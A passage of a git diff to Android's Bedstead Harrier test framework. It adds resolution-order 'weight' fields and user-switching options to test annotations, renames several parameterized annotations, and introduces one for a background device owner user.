+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default PRECEDENCE_NOT_IMPORTANT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
index cd51a09..b9b3e08 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
@@ -17,8 +17,10 @@
 package com.android.bedstead.harrier.annotations.meta;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.OptionalBoolean.ANY;
 
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.OptionalBoolean;
 
 import java.lang.annotation.Target;
 
@@ -41,4 +43,9 @@
      */
     // NOTE: This field is only required if hasProfileOwner=true
     boolean dpcIsPrimary() default false;
+
+    /**
+     * Should we ensure that we are switched to the parent of the profile.
+     */
+    OptionalBoolean switchedToParentUser() default ANY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java
index 871c57a..13e7f09 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasUser.java
@@ -16,6 +16,10 @@
 
 package com.android.bedstead.harrier.annotations.meta;
 
+import static com.android.bedstead.harrier.OptionalBoolean.ANY;
+
+import com.android.bedstead.harrier.OptionalBoolean;
+
 import java.lang.annotation.Target;
 
 /**
@@ -26,4 +30,9 @@
 public @interface EnsureHasUser {
     /** Whether the test app should be installed in the user. */
     boolean installTestApp() default true;
+
+    /**
+     * Should we ensure that we are switched to the given user
+     */
+    OptionalBoolean switchedToUser() default ANY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java
index 956015f..6bc4087 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.harrier.annotations.meta;
 
 import static com.android.bedstead.harrier.OptionalBoolean.ANY;
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
@@ -44,4 +45,9 @@
      */
     // NOTE: This field is only required if hasProfileOwner=true
     String[] affiliationIds() default {};
+
+    /**
+     * Should we ensure that we are switched to the parent of the profile.
+     */
+    OptionalBoolean switchedToParentUser() default TRUE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java
index b3882b1..31eb2ee 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUser.java
@@ -16,6 +16,10 @@
 
 package com.android.bedstead.harrier.annotations.meta;
 
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+
+import com.android.bedstead.harrier.OptionalBoolean;
+
 import java.lang.annotation.Target;
 
 /**
@@ -24,4 +28,8 @@
  */
 @Target({})
 public @interface RequireRunOnUser {
+    /**
+     * Should we ensure that we are switched to the given user
+     */
+    OptionalBoolean switchedToUser() default TRUE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java
index e100416..7de08e6 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnUserAnnotation.java
@@ -30,6 +30,6 @@
 @Target(ElementType.ANNOTATION_TYPE)
 @Retention(RetentionPolicy.RUNTIME)
 public @interface RequireRunOnUserAnnotation {
-    /** The name of the user type which the test should be run on. */
-    String value();
+    /** The name of the user types which the test should be run on. */
+    String[] value();
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java
index 3ad98af..fcc333a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeNone.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -30,4 +33,15 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 public @interface IncludeNone {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java
index b8aea09..284d7d2 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.java
@@ -16,8 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
@@ -36,7 +37,18 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 @RequireRunOnSecondaryUser
-@EnsureHasDeviceOwner(onUser = SYSTEM_USER, isPrimary = true, affiliationIds = "affiliated")
+@EnsureHasDeviceOwner(isPrimary = true, affiliationIds = "affiliated")
 @EnsureHasProfileOwner(affiliationIds = "affiliated")
 public @interface IncludeRunOnAffiliatedDeviceOwnerSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java
index 65f5851..08637b8 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnAffiliatedProfileOwnerSecondaryUser.java
@@ -16,8 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
@@ -36,7 +37,18 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 @RequireRunOnSecondaryUser
-@EnsureHasDeviceOwner(onUser = SYSTEM_USER, affiliationIds = "affiliated")
+@EnsureHasDeviceOwner(affiliationIds = "affiliated")
 @EnsureHasProfileOwner(affiliationIds = "affiliated", isPrimary = true)
 public @interface IncludeRunOnAffiliatedProfileOwnerSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnBackgroundDeviceOwnerUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnBackgroundDeviceOwnerUser.java
new file mode 100644
index 0000000..02a5592
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnBackgroundDeviceOwnerUser.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.parameterized;
+
+import static com.android.bedstead.harrier.OptionalBoolean.FALSE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+import com.android.bedstead.harrier.annotations.RequireRunOnSystemUser;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Parameterize a test so that it runs on a device owner user, but with the current user switched to
+ * another user.
+ */
+@Target({ElementType.METHOD, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@ParameterizedAnnotation
+@RequireRunOnSystemUser(switchedToUser = FALSE)
+@EnsureHasDeviceOwner
+public @interface IncludeRunOnBackgroundDeviceOwnerUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
index 61a0f3c..0b10e96 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnDeviceOwnerUser.java
@@ -16,10 +16,10 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
-import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
@@ -35,8 +35,20 @@
 @Target({ElementType.METHOD, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
+// Explicitly primary user which excludes headless users as this isn't a valid mode on headless
 @RequireRunOnPrimaryUser
 @EnsureHasNoWorkProfile
 @EnsureHasDeviceOwner(isPrimary = true)
 public @interface IncludeRunOnDeviceOwnerUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
index 84bf602..75c047e 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.java
@@ -16,8 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
@@ -35,6 +36,17 @@
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
 @RequireRunOnSecondaryUser
-@EnsureHasDeviceOwner(onUser = SYSTEM_USER, isPrimary = true, affiliationIds = {})
+@EnsureHasDeviceOwner(isPrimary = true, affiliationIds = {})
 public @interface IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java
index 1d4182a..61c5f19 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfCorporateOwnedProfileOwner.java
@@ -16,9 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
-import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
@@ -36,4 +36,15 @@
 @RequireRunOnPrimaryUser
 // TODO(scottjonathan): Add annotation to create corporate-owned profile
 public @interface IncludeRunOnParentOfCorporateOwnedProfileOwner {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner.java
similarity index 65%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner.java
index a653de7..1ed3c33 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner.java
@@ -16,10 +16,10 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
-import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
@@ -38,5 +38,16 @@
 @RequireRunOnPrimaryUser
 @EnsureHasNoDeviceOwner
 @EnsureHasWorkProfile(dpcIsPrimary = true)
-public @interface IncludeRunOnParentOfProfileOwner {
+public @interface IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnPrimaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnPrimaryUser.java
index 7a9397b..bbdca14 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnPrimaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnPrimaryUser.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
@@ -32,4 +35,15 @@
 @ParameterizedAnnotation
 @RequireRunOnPrimaryUser
 public @interface IncludeRunOnPrimaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java
index d9352fe..17b5240 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerPrimaryUser.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
@@ -32,8 +35,20 @@
 @Target({ElementType.METHOD, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @ParameterizedAnnotation
+// Explicitly primary user which excludes headless users as this isn't a valid mode on headless
 @RequireRunOnPrimaryUser
 @EnsureHasNoDeviceOwner
 @EnsureHasProfileOwner(isPrimary = true)
 public @interface IncludeRunOnProfileOwnerPrimaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfileWithNoDeviceOwner.java
similarity index 63%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfile.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfileWithNoDeviceOwner.java
index d6914f0..32749a2 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnProfileOwnerProfileWithNoDeviceOwner.java
@@ -16,13 +16,11 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
-import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
-import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
-import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -38,5 +36,16 @@
 @ParameterizedAnnotation
 @RequireRunOnWorkProfile(dpcIsPrimary = true)
 @EnsureHasNoDeviceOwner
-public @interface IncludeRunOnProfileOwnerProfile {
+public @interface IncludeRunOnProfileOwnerProfileWithNoDeviceOwner {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUser.java
index eb1c103..777a231 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUser.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
@@ -32,4 +35,15 @@
 @ParameterizedAnnotation
 @RequireRunOnSecondaryUser
 public @interface IncludeRunOnSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default LATE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile.java
similarity index 69%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile.java
index 88cf1cc..303e123 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile.java
@@ -16,11 +16,11 @@
 
 package com.android.bedstead.harrier.annotations.parameterized;
 
-import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.LATE;
 
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
-import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
 
@@ -38,5 +38,16 @@
 @ParameterizedAnnotation
 @RequireRunOnSecondaryUser
 @EnsureHasWorkProfile(forUser = DeviceState.UserType.PRIMARY_USER, dpcIsPrimary = true)
-public @interface IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner {
